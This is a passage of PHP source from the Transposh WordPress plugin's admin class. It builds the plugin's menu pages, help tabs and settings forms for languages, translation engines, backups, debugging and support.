(isset($_GET['page']) && isset($this->pages[$_GET['page']])) $this->page = $_GET['page']; // First param is page title, second is menu title add_menu_page(__('Transposh', TRANSPOSH_TEXT_DOMAIN), __('Transposh', TRANSPOSH_TEXT_DOMAIN), 'manage_options', 'tp_main', '', $this->transposh->transposh_plugin_url . "/img/tplogo.png"); $submenu_pages = array(); foreach ($this->pages as $slug => $titles) { if (!isset($titles[1]) || !$titles[1]) { $titles[1] = $titles[0]; } $submenu_pages[] = add_submenu_page('tp_main', $titles[0] . ' | ' . __('Transposh', TRANSPOSH_TEXT_DOMAIN), $titles[1], 'manage_options', $slug, array(&$this, 'options')); } if (current_user_can('manage_options')) { /** * Only admin can modify settings */ foreach ($submenu_pages as $submenu_page) { add_action('load-' . $submenu_page, array(&$this, 'load')); add_action('admin_print_styles-' . $submenu_page, array(&$this, 'admin_print_styles')); add_action('admin_print_scripts-' . $submenu_page, array(&$this, 'admin_print_scripts')); } } // DOC add_action('load-edit-comments.php', array(&$this, 'on_load_comments_page')); } /** * Print styles * * @return void */ function admin_print_styles() { } /** * Print scripts * * @return void */ function admin_print_scripts() { switch ($this->page) { case 'tp_main': wp_enqueue_script('common'); wp_enqueue_script('wp-lists'); wp_enqueue_script('postbox'); break; case 'tp_langs': wp_enqueue_script('jquery-ui-droppable'); wp_enqueue_script('jquery-ui-sortable'); wp_enqueue_script('jquery-touch-punch'); wp_enqueue_script('transposh_admin_languages', $this->transposh->transposh_plugin_url . '/' . TRANSPOSH_DIR_JS . '/admin/languages.js', array('transposh'), TRANSPOSH_PLUGIN_VER, true); break; case 'tp_utils': wp_enqueue_script('transposh_admin_utils', $this->transposh->transposh_plugin_url . '/' . TRANSPOSH_DIR_JS . '/admin/utils.js', array('transposh'), TRANSPOSH_PLUGIN_VER, true); // NOTE: When wordpress will have .css for the jQueryUI we'll be able to use the built-in jqueryui // wp_enqueue_script('jquery-ui-progressbar'); wp_enqueue_style('jqueryui', 'http://ajax.googleapis.com/ajax/libs/jqueryui/' . JQUERYUI_VER . '/themes/ui-lightness/jquery-ui.css', array(), JQUERYUI_VER); wp_enqueue_script('jqueryui', 'http://ajax.googleapis.com/ajax/libs/jqueryui/' . JQUERYUI_VER . '/jquery-ui.min.js', array('jquery'), JQUERYUI_VER, true); wp_enqueue_script('transposh_backend', $this->transposh->transposh_plugin_url . '/' . TRANSPOSH_DIR_JS . '/admin/backendtranslate.js', array('transposh'), TRANSPOSH_PLUGIN_VER, true); $script_params = array( 'l10n_print_after' => 't_be.g_langs = ' . json_encode(transposh_consts::$google_languages) . ';' . 't_be.m_langs = ' . json_encode(transposh_consts::$bing_languages) . ';' . 't_be.a_langs = ' . json_encode(transposh_consts::$apertium_languages) . ';' ); wp_localize_script("transposh_backend", "t_be", $script_params); } wp_enqueue_script('transposh_context_help', $this->transposh->transposh_plugin_url . '/' . TRANSPOSH_DIR_JS . '/admin/contexthelp.js', array('jquery'), TRANSPOSH_PLUGIN_VER, true); wp_enqueue_style('transposh_admin', $this->transposh->transposh_plugin_url . '/' . TRANSPOSH_DIR_CSS . '/admin.css'); ///, array('transposh'), TRANSPOSH_PLUGIN_VER, true) } function load() { // figure out page and other stuff... //echo 'loaded!?'; global $wp_locale; if ($wp_locale->text_direction == 'rtl') { $this->localeleft = 'right'; $this->localeright = 'left'; } // the followings are integrations with the wordpress admin interface $screen = get_current_screen(); $screen->add_help_tab(array( 'id' => 'transposh-help', // This should be unique for the screen. 'title' => __('Transposh Help', TRANSPOSH_TEXT_DOMAIN), // retrieve the function output and set it as tab content 'content' => '<h3>' . __('Transposh makes your blog translatable', TRANSPOSH_TEXT_DOMAIN) . '</h3>' . '<p>' . __('For further help and assistance, please look at the following resources:', TRANSPOSH_TEXT_DOMAIN) . '</p>' . '<a href="http://transposh.org/">' . __('Plugin homepage', TRANSPOSH_TEXT_DOMAIN) . '</a><br/>' . '<a href="http://transposh.org/faq/">' . __('Frequently asked questions', TRANSPOSH_TEXT_DOMAIN) . '</a><br/>' . '<a href="http://trac.transposh.org/">' . __('Development website', TRANSPOSH_TEXT_DOMAIN) . '</a><br/>' )); $screen->add_help_tab(array( 'id' => 'languages', // This should be unique for the screen. 'title' => __('Languages', TRANSPOSH_TEXT_DOMAIN), // retrieve the function output and set it as tab content 'content' => '<h3>' . __('Language selection in Transposh', TRANSPOSH_TEXT_DOMAIN) . '</h3>' . '<p>' . __('This tab allows you to select the languages your site will be translated into. The default language is the language most of your site is written in, and serve as the base for translation. It won\t be translated normally.', TRANSPOSH_TEXT_DOMAIN) . '</p>' . '<p>' . __('You may select the languages you want to appear in your site by clicking them (their background will turn green). You may also drag those around to set the order of the languages in the widget.', TRANSPOSH_TEXT_DOMAIN) . '</p>' )); $screen->add_help_tab(array( 'id' => 'keys', // This should be unique for the screen. 'title' => __('Engine keys', TRANSPOSH_TEXT_DOMAIN), // retrieve the function output and set it as tab content 'content' => '<h3>' . __('Translation engines keys', TRANSPOSH_TEXT_DOMAIN) . '</h3>' . '<p>' . __('Under normal conditions, at the date of this release, you may leave the key fields empty, and the different engines will just work, no need to pay or create a key. However if for some reason the current methods will stop working you have the ability to create a key for each service on the appropriate site.', TRANSPOSH_TEXT_DOMAIN) . '</p>' . '<p>' . __('For One Hour Translation, after registering. The key will be reachable at:', TRANSPOSH_TEXT_DOMAIN) . '<a href="https://www.onehourtranslation.com/profile/apiKeys/">https://www.onehourtranslation.com/profile/apiKeys/</a>' . '</p>' )); if ($this->page == 'tp_main') { add_screen_option('layout_columns', array('max' => 4, 'default' => 2)); add_meta_box('transposh-sidebox-news', __('Plugin news', TRANSPOSH_TEXT_DOMAIN), array(&$this, 'on_sidebox_news_content'), '', 'normal', 'core'); add_meta_box('transposh-sidebox-stats', __('Plugin stats', TRANSPOSH_TEXT_DOMAIN), array(&$this, 'on_sidebox_stats_content'), '', 'column3', 'core'); // add_meta_box('transposh-contentbox-community', __('Transposh community features', TRANSPOSH_TEXT_DOMAIN), array(&$this, 'on_contentbox_community_content'), '', 'normal', 'core'); } } function options() { echo '<div class="wrap">'; screen_icon('transposh-logo'); echo '<h2 class="nav-tab-wrapper">'; foreach ($this->pages as $slug => $titles) { $active = ($slug === $this->page) ? ' nav-tab-active' : ''; echo '<a href="admin.php?page=' . $slug . '" class="nav-tab' . $active . '">'; echo esc_html($titles[0]); echo '</a>'; } echo '</h2>'; // do we need a form? if (isset($this->pages[$this->page][2]) && $this->pages[$this->page][2]) { //$this->contains_settings) { echo '<form action="admin-post.php" method="post">'; echo '<input type="hidden" name="action" value="save_transposh"/>'; echo '<input type="hidden" name="page" value="' . $this->page . '"/>'; echo wp_nonce_field(TR_NONCE); } // the page content if ($this->page) call_user_func(array(&$this, $this->page)); // Add submission for pages that can be modified if (isset($this->pages[$this->page][2]) && $this->pages[$this->page][2]) { //$this->contains_settings) { echo '<p>'; echo'<input type="submit" value="' . esc_attr__('Save Changes', TRANSPOSH_TEXT_DOMAIN) . '" class="button-primary" name="Submit"/>'; echo'</p>'; echo'</form>'; } echo '</div>'; } // not sure if this is the best place for this function, but heck function on_load_comments_page() { wp_enqueue_script('transposhcomments', $this->transposh->transposh_plugin_url . '/' . TRANSPOSH_DIR_JS . '/admin/commentslang.js', array('jquery'), TRANSPOSH_PLUGIN_VER); } //executed to show the plugins complete admin page function tp_main() { echo '<div id="dashboard-widgets-wrap">'; /** Load WordPress dashboard API */ require_once(ABSPATH . 'wp-admin/includes/dashboard.php'); wp_enqueue_script('dashboard'); wp_admin_css('dashboard'); add_thickbox(); wp_dashboard(); echo '<div class="clear"></div>'; } /** * Insert supported languages section in admin page * @param string $data */ function tp_langs() { // we need some styles global $wp_locale; if ($wp_locale->text_direction == 'rtl') { echo '<style type="text/css"> #sortable li, #default_lang li { float: right !important;} .logoicon { float:left !important; } </style>'; } // this is the default language location list ($langname, $langorigname, $flag) = explode(",", transposh_consts::$languages[$this->transposh->options->default_language]); echo '<div id="default_lang" style="overflow:auto;padding-bottom:10px;">'; $this->header(__('Default Language (drag another language here to make it default)', TRANSPOSH_TEXT_DOMAIN),'languages'); echo '<ul id="default_list"><li id="' . $this->transposh->options->default_language . '" class="languages">' . transposh_utils::display_flag("{$this->transposh->transposh_plugin_url}/img/flags", $flag, $langorigname, false/* $this->transposh->options->get_widget_css_flags() */) . '<input type="hidden" name="languages[]" value="' . $this->transposh->options->default_language . '" />' . ' <span class="langname">' . $langorigname . '</span><span class="langname hidden">' . $langname . '</span></li>'; echo '</ul></div>'; // list of languages echo '<div style="overflow:auto; clear: both;">'; $this->header(__('Available Languages (Click to toggle language state - Drag to sort in the widget)', TRANSPOSH_TEXT_DOMAIN)); echo '<ul id="sortable">'; foreach ($this->transposh->options->get_sorted_langs() as $langcode => $langrecord) { tp_logger($langcode, 5); list ($langname, $langorigname, $flag) = explode(",", $langrecord); echo '<li id="' . $langcode . '" class="languages ' . ($this->transposh->options->is_active_language($langcode) || $this->transposh->options->is_default_language($langcode) ? "lng_active" : "") . '"><div style="float:' . $this->localeleft . '">' . transposh_utils::display_flag("{$this->transposh->transposh_plugin_url}/img/flags", $flag, false /* $langorigname,$this->transposh->options->get_widget_css_flags() */) // DOC THIS BUGBUG fix! . '<input type="hidden" name="languages[]" value="' . $langcode . ($this->transposh->options->is_active_language($langcode) ? ",v" : ",") . '" />' . ' <span class="langname">' . $langorigname . '</span><span class="langname hidden">' . $langname . '</span></div>'; if (in_array($langcode, transposh_consts::$google_languages)) echo '<img width="16" height="16" alt="g" class="logoicon" title="' . esc_attr__('Language supported by google translate', TRANSPOSH_TEXT_DOMAIN) . '" src="' . $this->transposh->transposh_plugin_url . '/' . TRANSPOSH_DIR_IMG . '/googleicon.png"/>'; if (in_array($langcode, transposh_consts::$bing_languages)) echo '<img width="16" height="16" alt="b" class="logoicon" title="' . esc_attr__('Language supported by bing translate', TRANSPOSH_TEXT_DOMAIN) . '" src="' . $this->transposh->transposh_plugin_url . '/' . TRANSPOSH_DIR_IMG . '/bingicon.png"/>'; if (in_array($langcode, transposh_consts::$apertium_languages)) echo '<img width="16" height="16" alt="a" class="logoicon" title="' . esc_attr__('Language supported by apertium translate', TRANSPOSH_TEXT_DOMAIN) . '" src="' . $this->transposh->transposh_plugin_url . '/' . TRANSPOSH_DIR_IMG . '/apertiumicon.png"/>'; if (in_array($langcode, transposh_consts::$oht_languages)) echo '<img width="16" height="16" alt="a" class="logoicon" title="' . esc_attr__('Language supported by one hour translation', TRANSPOSH_TEXT_DOMAIN) . '" src="' . $this->transposh->transposh_plugin_url . '/' . TRANSPOSH_DIR_IMG . '/ohticon.png"/>'; if (in_array($langcode, transposh_consts::$rtl_languages)) echo '<img width="16" height="16" alt="r" class="logoicon" title="' . esc_attr__('Language is written from right to left', TRANSPOSH_TEXT_DOMAIN) . '" src="' . $this->transposh->transposh_plugin_url . '/' . TRANSPOSH_DIR_IMG . '/rtlicon.png"/>'; echo '</li>'; } echo "</ul></div>"; // options to play with echo '<div style="clear: both;">' . __('Display options:', TRANSPOSH_TEXT_DOMAIN) . '<br/><ul style="list-style-type: disc; margin-' . $this->localeleft . ':20px;font-size:11px">'; echo '<li><a href="#" id="changename">' . __('Toggle names of languages between English and Original', TRANSPOSH_TEXT_DOMAIN) . '</a></li>'; echo '<li><a href="#" id="selectall">' . __('Make all languages active', TRANSPOSH_TEXT_DOMAIN) . '</a></li>'; echo '<li><a href="#" id="sortname">' . __('Sort by language name', TRANSPOSH_TEXT_DOMAIN) . '</a></li>'; echo '<li><a href="#" id="sortiso">' . __('Sort by lSO code', TRANSPOSH_TEXT_DOMAIN) . '</a></li></ul>'; echo '</div>'; } // Show normal settings function tp_settings() { $this->section(__('Translation related settings', TRANSPOSH_TEXT_DOMAIN)); /* * Insert permissions section in the admin page */ $this->header(__('Who can translate ?', TRANSPOSH_TEXT_DOMAIN)); //display known roles and their permission to translate foreach ($GLOBALS['wp_roles']->get_names() as $role_name => $something) { echo '<input type="checkbox" value="1" name="' . $role_name . '" ' . checked($this->can_translate($role_name), true, false) . '/> ' . _x(ucfirst($role_name), 'User role') . ' '; } //Add our own custom role echo '<input id="tr_anon" type="checkbox" value="1" name="anonymous" ' . checked($this->can_translate('anonymous'), true, false) . '/> ' . __('Anonymous', TRANSPOSH_TEXT_DOMAIN); $this->checkbox($this->transposh->options->enable_default_translate_o, __('Enable default language translation', TRANSPOSH_TEXT_DOMAIN) , __('Allow translation of default language - useful for sites with more than one major language', TRANSPOSH_TEXT_DOMAIN)); $this->checkbox($this->transposh->options->enable_search_translate_o, __('Enable search in translated languages', TRANSPOSH_TEXT_DOMAIN) , __('Allow search of translated languages (and the original language)', TRANSPOSH_TEXT_DOMAIN)); $this->checkbox($this->transposh->options->transposh_gettext_integration_o, __('Enable gettext integration', TRANSPOSH_TEXT_DOMAIN) , __('Enable integration of Transposh with existing gettext interface (.po/.mo files)', TRANSPOSH_TEXT_DOMAIN)); $this->checkbox($this->transposh->options->transposh_locale_override_o, __('Enable override for default locale', TRANSPOSH_TEXT_DOMAIN) , __('Enable overriding the default locale that is set in WP_LANG on default languages pages (such as untranslated pages and admin pages)', TRANSPOSH_TEXT_DOMAIN)); $this->sectionstop(); $this->section(__('General settings', TRANSPOSH_TEXT_DOMAIN)); $this->checkbox($this->transposh->options->enable_permalinks_o, __('Rewrite URLs', TRANSPOSH_TEXT_DOMAIN) , __('Rewrite URLs to be search engine friendly, ' . 'e.g. (http://transposh.org/<strong>en</strong>). ' . 'Requires that permalinks will be enabled.', TRANSPOSH_TEXT_DOMAIN)); $this->checkbox($this->transposh->options->enable_footer_scripts_o, __('Add scripts to footer', TRANSPOSH_TEXT_DOMAIN) , __('Push transposh scripts to footer of page instead of header, makes pages load faster. ' . 'Requires that your theme should have proper footer support.', TRANSPOSH_TEXT_DOMAIN)); $this->checkbox($this->transposh->options->enable_detect_redirect_o, __('Auto detect language for users', TRANSPOSH_TEXT_DOMAIN) , __('This enables auto detection of language used by the user as defined in the ACCEPT_LANGUAGES they send. ' . 'This will redirect the first page accessed in the session to the same page with the detected language.', TRANSPOSH_TEXT_DOMAIN)); $this->checkbox($this->transposh->options->transposh_collect_stats_o, __('Allow collecting usage statistics', TRANSPOSH_TEXT_DOMAIN) , __('This option enables collection of statistics by transposh that will be used to improve the product.', TRANSPOSH_TEXT_DOMAIN)); /* WIP2 echo '<a href="http://transposh.org/services/index.php?flags='.$flags.'">Gen sprites</a>'; */ $this->sectionstop(); $this->section(__('Backup service settings', TRANSPOSH_TEXT_DOMAIN)); echo '<input type="radio" value="1" name="' . $this->transposh->options->transposh_backup_schedule_o->get_name() . '" ' . checked($this->transposh->options->transposh_backup_schedule, 1, false) . '/>' . __('Enable daily backup', TRANSPOSH_TEXT_DOMAIN) . '<br/>'; echo '<input type="radio" value="2" name="' . $this->transposh->options->transposh_backup_schedule_o->get_name() . '" ' . checked($this->transposh->options->transposh_backup_schedule, 2, false) . '/>' . __('Enable live backup', TRANSPOSH_TEXT_DOMAIN) . '<br/>'; echo '<input type="radio" value="0" name="' . $this->transposh->options->transposh_backup_schedule_o->get_name() . '" ' . checked($this->transposh->options->transposh_backup_schedule, 0, false) . '/>' . __('Disable backup (Can be run manually by clicking the button below)', TRANSPOSH_TEXT_DOMAIN) . '<br/>'; echo __('Service Key:', TRANSPOSH_TEXT_DOMAIN) . ' <input type="text" size="32" class="regular-text" ' . $this->transposh->options->transposh_key_o->post_value_id_name() . '/><a target="_blank" href="http://transposh.org/faq/#restore">' . __('How to restore?', TRANSPOSH_TEXT_DOMAIN) . '</a><br/>'; $this->sectionstop(); } function tp_engines() { $this->section(__('Automatic Translation Settings', TRANSPOSH_TEXT_DOMAIN)); $this->checkbox($this->transposh->options->enable_autotranslate_o, __('Enable automatic translation', TRANSPOSH_TEXT_DOMAIN) , __('Allow automatic translation of pages', TRANSPOSH_TEXT_DOMAIN)); $this->checkbox($this->transposh->options->enable_autoposttranslate_o, __('Enable automatic translation after posting', TRANSPOSH_TEXT_DOMAIN) , __('Do automatic translation immediately after a post has been published', TRANSPOSH_TEXT_DOMAIN)); $this->textinput($this->transposh->options->msn_key_o , array('bingicon.png', __('MSN API key', TRANSPOSH_TEXT_DOMAIN)) , __('API Key', TRANSPOSH_TEXT_DOMAIN), 35, 'keys'); $this->textinput($this->transposh->options->google_key_o , array('googleicon.png', __('Google API key', TRANSPOSH_TEXT_DOMAIN)) , __('API Key', TRANSPOSH_TEXT_DOMAIN), 35, 'keys'); $this->select($this->transposh->options->preferred_translator_o, __('Select preferred auto translation engine', TRANSPOSH_TEXT_DOMAIN) , __('Translation engine:', TRANSPOSH_TEXT_DOMAIN), array( 1 => __('Google', TRANSPOSH_TEXT_DOMAIN), 2 => __('Bing', TRANSPOSH_TEXT_DOMAIN), )); $this->sectionstop(); $this->section(__('Professional Translation Settings', TRANSPOSH_TEXT_DOMAIN), __('<a href="http://transposh.org/redir/oht">One Hour Translation</a>, is the largest professional translation service online, with thousands of business customers, including 57% of the Fortune 500 companies, and over 15000 translators worldwide.', TRANSPOSH_TEXT_DOMAIN) . '<br/>' . __('One Hour Translation provides high-quality, fast professional translation to/from any language, and has specific domain expertise in SW localization, technical, business, and legal translations.', TRANSPOSH_TEXT_DOMAIN)); $this->textinput($this->transposh->options->oht_id_o , array('ohticon.png', __('One Hour Translation account ID', TRANSPOSH_TEXT_DOMAIN)) , __('Account ID', TRANSPOSH_TEXT_DOMAIN), 35, 'keys'); $this->textinput($this->transposh->options->oht_key_o , array('ohticon.png', __('One Hour Translation secret key', TRANSPOSH_TEXT_DOMAIN)) , __('Account ID', TRANSPOSH_TEXT_DOMAIN), 35, 'keys'); $oht = get_option(TRANSPOSH_OPTIONS_OHT, array()); if (!empty($oht) && wp_next_scheduled('transposh_oht_event')) { $timeforevent = floor((max(array(wp_next_scheduled('transposh_oht_event') - time(), 0))) / 60); if ((max(array(wp_next_scheduled('transposh_oht_event') - time(), 0)))) { $this->header(sprintf(__('%d phrases currently queued for next job in ~%d minutes', TRANSPOSH_TEXT_DOMAIN), sizeof($oht), $timeforevent)); } } $ohtp = get_option(TRANSPOSH_OPTIONS_OHT_PROJECTS, array()); if (!empty($ohtp)) { $this->header(sprintf(__('%d projects have been submitted and waiting for completion', TRANSPOSH_TEXT_DOMAIN), sizeof($ohtp))); } $this->sectionstop(); } function tp_widget() { $this->checkbox($this->transposh->options->widget_progressbar_o, __('Show progress bar', TRANSPOSH_TEXT_DOMAIN) , __('Show progress bar when a client triggers automatic translation', TRANSPOSH_TEXT_DOMAIN)); $this->checkbox($this->transposh->options->widget_allow_set_deflang_o, __('Allow user to set current language as default', TRANSPOSH_TEXT_DOMAIN) , __('Widget will allow setting this language as user default', TRANSPOSH_TEXT_DOMAIN)); $this->checkbox($this->transposh->options->widget_remove_logo_o, __('Remove transposh logo (see <a href="http://transposh.org/logoterms">terms</a>)', TRANSPOSH_TEXT_DOMAIN) , __('Transposh logo will not appear on widget', TRANSPOSH_TEXT_DOMAIN)); $this->select($this->transposh->options->widget_theme_o, __('Edit interface (and progress bar) theme:', TRANSPOSH_TEXT_DOMAIN), __('Edit interface (and progress bar) theme:', TRANSPOSH_TEXT_DOMAIN), transposh_consts::$jqueryui_themes, false); } function tp_advanced() { $this->checkbox($this->transposh->options->enable_url_translate_o, __('Enable url translation', TRANSPOSH_TEXT_DOMAIN) . ' (' . __('experimental', TRANSPOSH_TEXT_DOMAIN) . ')', __('Allow translation of permalinks and urls', TRANSPOSH_TEXT_DOMAIN)); $this->textinput($this->transposh->options->jqueryui_override_o, __('Override jQueryUI version', TRANSPOSH_TEXT_DOMAIN), __('Version', TRANSPOSH_TEXT_DOMAIN)); $this->section(__('Parser related settings', TRANSPOSH_TEXT_DOMAIN) , __('This is extremely dangerous, will break your current translations, and might cause severe hickups, only proceed if you really know what you are doing.', TRANSPOSH_TEXT_DOMAIN)); $this->checkbox($this->transposh->options->parser_dont_break_puncts_o, __('Disable punctuations break', TRANSPOSH_TEXT_DOMAIN) , __('The parser will not break text into phrases when encountering punctuations such as dots', TRANSPOSH_TEXT_DOMAIN)); $this->checkbox($this->transposh->options->parser_dont_break_numbers_o, __('Disable numbers break', TRANSPOSH_TEXT_DOMAIN) , __('The parser will not break text into phrases when encountering numbers', TRANSPOSH_TEXT_DOMAIN)); $this->checkbox($this->transposh->options->parser_dont_break_entities_o, __('Disable html entities break', TRANSPOSH_TEXT_DOMAIN) , __('The parser will not break text into phrases when encountering html entities', TRANSPOSH_TEXT_DOMAIN)); $this->sectionstop(); $this->section(__('Debug settings', TRANSPOSH_TEXT_DOMAIN) , __('This is extremely dangerous, will break your current translations, and might cause severe hickups, only proceed if you really know what you are doing.', TRANSPOSH_TEXT_DOMAIN)); $this->checkbox($this->transposh->options->debug_enable_o, __('Enable debugging', TRANSPOSH_TEXT_DOMAIN) , __('Enable running of Transposh internal debug functions', TRANSPOSH_TEXT_DOMAIN)); $this->textinput($this->transposh->options->debug_logfile_o, '', __('Log file name', TRANSPOSH_TEXT_DOMAIN)); $this->select($this->transposh->options->debug_loglevel_o, __('Level of logging', TRANSPOSH_TEXT_DOMAIN), __('Level of logging', TRANSPOSH_TEXT_DOMAIN), array( 1 => __('Critical', TRANSPOSH_TEXT_DOMAIN), 2 => __('Important', TRANSPOSH_TEXT_DOMAIN), 3 => __('Warning', TRANSPOSH_TEXT_DOMAIN), 4 => __('Information', TRANSPOSH_TEXT_DOMAIN), 5 => __('Debug', TRANSPOSH_TEXT_DOMAIN), )); $this->textinput($this->transposh->options->debug_remoteip_o, '', sprintf(__('Remote debug IP (Your current IP is %s)', TRANSPOSH_TEXT_DOMAIN), $_SERVER['REMOTE_ADDR'])); $this->sectionstop(); } // function tp_utils() { echo '<div id="backup_result"></div>'; echo '<div style="margin:10px 0"><a id="transposh-backup" href="#" class="button">' . __('Do Backup Now', TRANSPOSH_TEXT_DOMAIN) . '</a></div>'; /* * Insert buttons allowing removal of automated translations from database and maintenence */ echo '<div style="margin:10px 0"><a id="transposh-reset-options" href="#" nonce="' . wp_create_nonce('transposh-clean') . '" class="button">' . __('Reset configuration to default (saves keys)', TRANSPOSH_TEXT_DOMAIN) . '</a></div>'; echo '<div style="margin:10px 0"><a id="transposh-clean-auto" href="#" nonce="' . wp_create_nonce('transposh-clean') . '" class="button">' . __('Delete all automated translations', TRANSPOSH_TEXT_DOMAIN) . '</a></div>'; echo '<div style="margin:10px 0"><a id="transposh-clean-auto14" href="#" nonce="' . wp_create_nonce('transposh-clean') . '" class="button">' . __('Delete automated translations older than 14 days', TRANSPOSH_TEXT_DOMAIN) . '</a></div>'; echo '<div style="margin:10px 0"><a id="transposh-maint" href="#" nonce="' . wp_create_nonce('transposh-clean') . '" class="button">' . __('Attempt to fix errors caused by previous versions - please backup first', TRANSPOSH_TEXT_DOMAIN) . '</a></div>'; echo '<div id="progress_bar_all"></div><div id="tr_translate_title"></div>'; echo '<div id="tr_loading" style="margin: 0 0 10px 0">' . __('Translate by clicking the button below', TRANSPOSH_TEXT_DOMAIN) . '</div>'; echo '<div id="tr_allmsg" style="margin: 0 0 10px 0"></div>'; echo '<a id="transposh-translate" href="#" onclick="return false;" class="button">' . __('Translate All Now', TRANSPOSH_TEXT_DOMAIN) . '</a><br/>'; //get_posts } function tp_about() { $this->section(__('About Transposh', TRANSPOSH_TEXT_DOMAIN)); echo __('Transposh was started at 2008 and is dedicated to provide tools to ease website translation.', TRANSPOSH_TEXT_DOMAIN); echo '<br/>'; echo __('Learn more about us in the following online presenses', TRANSPOSH_TEXT_DOMAIN); echo '<ul style="list-style-type:disc;margin-' . $this->localeleft . ':20px;">'; echo '<li><a href="http://transposh.org">'; echo __('Our website', TRANSPOSH_TEXT_DOMAIN); echo '</a></li><li><a href="http://blog.transposh.com">'; echo __('Our blog', TRANSPOSH_TEXT_DOMAIN); echo '</a></li><li><a href="http://twitter.com/transposh">'; echo __('Our twitter account (feel free to follow!)', TRANSPOSH_TEXT_DOMAIN); echo '</a></li><li><a href="https://www.facebook.com/transposh">'; echo __('Our facebook page (feel free to like!)', TRANSPOSH_TEXT_DOMAIN); echo '</a></li><li><a href="https://plus.google.com/103680503574339351392/posts">'; echo __('Our google plus page (add us to your circles!)', TRANSPOSH_TEXT_DOMAIN); echo '</a></li><li><a href="http://www.youtube.com/user/transposh">'; echo __('Our youtube channel', TRANSPOSH_TEXT_DOMAIN); echo '</a></li></ul>'; $this->sectionstop(); /* require_once("pomo_upgrader.php"); $upgrader = new POMO_Upgrader(); $upgrader->run(array('package' => 'http://svn.automattic.com/wordpress-i18n/he_IL/tags/3.5/messages/he_IL.mo', 'destination' => '/tmp/', //WP_PLUGIN_DIR . '/themes', 'clear_destination' => false, //Do not overwrite files. 'clear_working' => false)); */ } function tp_support() { echo '<p>'; $this->section(__('Transposh support', TRANSPOSH_TEXT_DOMAIN) , __('Have you encountered any problem with our plugin and need our help?', TRANSPOSH_TEXT_DOMAIN) . '<br>' . __('Do you need to ask us any question?', TRANSPOSH_TEXT_DOMAIN) . '<br>' . __('You have two options:', TRANSPOSH_TEXT_DOMAIN) . '<br>'); $this->sectionstop(); $this->header(__('Our free support', TRANSPOSH_TEXT_DOMAIN)); echo '<div class="col-wrap">'; echo __('There are many channels to reach us and we do try to help as fast as we can', TRANSPOSH_TEXT_DOMAIN) . '<br>'; echo __('You can contact us through our contact form on our web site', TRANSPOSH_TEXT_DOMAIN) . '<br>'; echo __('Create a ticket for us if you have found any bugs', TRANSPOSH_TEXT_DOMAIN) . '<br>'; echo __('Reach us via different forums:', TRANSPOSH_TEXT_DOMAIN); echo '<ul style="list-style-type:disc;margin-' . $this->localeleft . ':20px;">'; echo '<li><a href="http://wordpress.org/support/plugin/transposh-translation-filter-for-wordpress">'; echo __('Our support forum on wordpress.org', TRANSPOSH_TEXT_DOMAIN); echo '<li><a href="http://trac.transposh.org">'; echo __('Our internal development site, with wiki and tickets', TRANSPOSH_TEXT_DOMAIN); echo '</a></li><li><a href="https://www.facebook.com/transposh">'; echo __('Our facebook page', TRANSPOSH_TEXT_DOMAIN); echo '</a></li><li><a href="https://plus.google.com/103680503574339351392/posts">'; echo __('Our google plus page', TRANSPOSH_TEXT_DOMAIN); echo '</a></li></ul>'; echo __('Contact us directly via:', TRANSPOSH_TEXT_DOMAIN); echo '<ul style="list-style-type:disc;margin-' . $this->localeleft . ':20px;">'; echo '<li><a href="http://transposh.org/contact-us/">' . __('Our contact form', TRANSPOSH_TEXT_DOMAIN) . '</a></li>'; echo '<li><a href="http://transposh.org/redir/newfeature">' . __('Suggest a Feature', TRANSPOSH_TEXT_DOMAIN) . '</a></li>'; echo '<li><a href="http://transposh.org/redir/newticket">' . __('Report a Bug', TRANSPOSH_TEXT_DOMAIN) . '</a></li>'; echo '</ul>'; echo '</div>'; $this->header(__('Professional support option', TRANSPOSH_TEXT_DOMAIN)); echo '<div class="col-wrap">'; echo __('For the low low price of $99, we will take express action on your request. By express we mean that your issue will become our top priority, and will resolve ASAP', TRANSPOSH_TEXT_DOMAIN) . '<br>'; echo __('This includes helping with various bugs, basic theme/plugins conflicts, or just telling you where the ON button is', TRANSPOSH_TEXT_DOMAIN) . '<br>'; echo __('Full money back guarentee! If your problem remains unresolved or you are simply unhappy we will refund your paypal account as soon as you ask (as long as paypal allows it, don\'t come to us three years later!)', TRANSPOSH_TEXT_DOMAIN) . '<br>'; echo __('So hit the following button. Thanks!', TRANSPOSH_TEXT_DOMAIN) . '<br>'; echo '<br/> <form action="https://www.paypal.com/cgi-bin/webscr" method="post"> <input type="hidden" name="cmd" value="_s-xclick"> <input type="hidden" name="hosted_button_id" value="KCCE87P7B2MG8"> <input type="image" src="https://www.paypalobjects.com/en_US/i/btn/btn_paynow_LG.gif" border="0" name="submit" alt="PayPal - The safer, easier way to pay online!"> <img alt="" border="0" src="https://www.paypalobjects.com/en_US/i/scr/pixel.gif" width="1" height="1"> </form> '; echo '</div>'; $this->header(__('Donations', TRANSPOSH_TEXT_DOMAIN)); echo '<div class="col-wrap">'; echo __('If you just want to show that you care, this is the button for you. But please think twice before doing this. It will make us happier if you just do something nice for someone in your area, contribute to a local charity, and let us know that you did that :)', TRANSPOSH_TEXT_DOMAIN) . '<br>'; echo '<br/> <form action="https://www.paypal.com/cgi-bin/webscr" method="post"> <input type="hidden" name="cmd" value="_s-xclick"> <input type="hidden" name="hosted_button_id" value="4E52WJ8WDK79J"> <input type="image" src="https://www.paypalobjects.com/en_US/i/btn/btn_donate_LG.gif" border="0" name="submit" alt="PayPal - The safer, easier way to pay online!"> <img alt="" border="0" src="https://www.paypalobjects.com/en_US/i/scr/pixel.gif" width="1" height="1"> </form>'; echo '</div>'; } // executed if the post arrives initiated by pressing the submit button of form function on_save_changes() { //user permission check if (!current_user_can('manage_options')) wp_die(__('Problems?', TRANSPOSH_TEXT_DOMAIN)); // cross check the given referer check_admin_referer(TR_NONCE); // process here your on $_POST validation and / or option saving $this->update_admin_options(); // lets redirect the post request into get request (you may add additional params at the url, if you need to show save results $this->transposh->tp_redirect($_POST['_wp_http_referer']); } // below you will find for each registered metabox the callback method, that produces the content inside the boxes // i did not describe each callback dedicated, what they do can be easily inspected and compare with the admin page displayed function on_sidebox_news_content() { echo '<div style="margin:6px">'; wp_widget_rss_output('http://feeds2.feedburner.com/transposh', array('items' => 5)); echo '</div>'; } function on_sidebox_stats_content() { $this->transposh->database->db_stats(); } /** UTILITY FUNCTIONS * */ private function section($head, $text = '') { echo '<h2>' . $head . '</h2>'; echo '<div class="col-wrap">'; if ($text) echo '<p>' . $text . '</p>'; } private function sectionstop() { echo '</div>'; } private function header($head, $help = '') { if (!isset($head)) return; if ($help) { $help = ' <a class="tp_help" href="#" rel="' . $help . '">[?]</a>'; } if (is_array($head)) { echo 